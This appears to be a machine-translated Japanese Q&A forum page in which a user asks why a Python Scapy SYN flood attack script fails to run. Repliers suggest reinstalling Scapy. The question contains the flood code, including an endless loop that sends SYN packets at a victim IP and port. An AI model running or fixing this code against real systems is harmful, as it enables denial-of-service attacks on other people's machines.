2016-11-29 13 views
0

synflood攻撃のコードを書いていますが、Python経由でファイルを実行するとエラーが発生します。synflood攻撃のpythonエラー

SYNFlood.pyファイル:

import sys 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import * 

target_ip = sys.argv[1] # the ip of the victim machine 
target_port = sys.argv[2] # the port of the victim machine 
print ("ip "+target_ip+" port "+target_port) 
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000) 

しかし、私はしてファイルを実行しています:

python SYNFlood.py target_ip target_port 

私は次のエラーを取得する:

enter image description here

私が試してみましたコードを次のように変更します。

私はターゲットPC上でコマンドnetstatコマンドの-Aを実行したときに、CMDに私は enter image description here

を取得した場合でも

while (1==1): 
    p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S") 
    send(p, count=10) 

は、しかし、私はSYN_RECVパケットを参照してくださいいけません。

私は

send(p, verbose=0, count=10) 

で試してみましたが、私は、それぞれのコマンドで任意の出力もないDSTのPCやSRCのPC上に持っていけません。

+0

ヘルプの仕組みがわかりません。警告は常に表示され、モジュールは正しくインポートされません。さらにロギングに関しては、ロガーの 'scapy.runtime'をどこで定義しましたか? –

+0

私は[ここ]から警告を修正しました(http://stackoverflow.com/questions/30579611/ipsec-py-cant-find-the-attribute-ipproto-esp-and-socket-ipproto-ah) – JORd

+0

それはですか?今働いている? :-) そうだといい。良い一日を。 –

答えて

0

私はWindows 32ビット版でプログラムを実行しなければならないことを理解しました。

0

scapyまたはscapy3kを再インストールしてください。これはビルドの問題のように聞こえる。正しいScapyバージョンを使用していることを確認します。

+0

私はscapyを再インストールしましたが、何も変わりません – JORd